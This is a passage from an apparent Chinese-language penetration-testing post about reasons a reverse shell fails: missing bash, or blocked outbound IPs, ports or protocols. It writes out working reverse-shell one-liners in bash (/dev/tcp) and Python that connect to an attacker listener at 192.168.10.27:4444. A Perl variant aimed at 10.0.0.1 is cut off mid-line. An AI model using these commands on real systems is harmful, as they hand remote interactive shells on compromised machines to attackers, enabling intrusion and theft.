在实战中,我们经常会遇到各种各样奇怪的环境。
反弹shell失败的原因有很多:
- 反弹的命令不存在或当前用户无权限调用bash
- 禁止出站IP
- 禁止出站端口
- 禁止出站协议
反弹的命令不存在或当前用户无权限调用bash
由于这种情况下只局限于Linux,所以不考虑Windows
反弹shell的命令,尽管这么多命令可以反弹shell,但是最终都还是调用bash来反弹,所以
#bash反弹
bash -i >& /dev/tcp/192.168.10.27/4444 0>&1
#python反弹
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.27",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
#Perl反弹
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")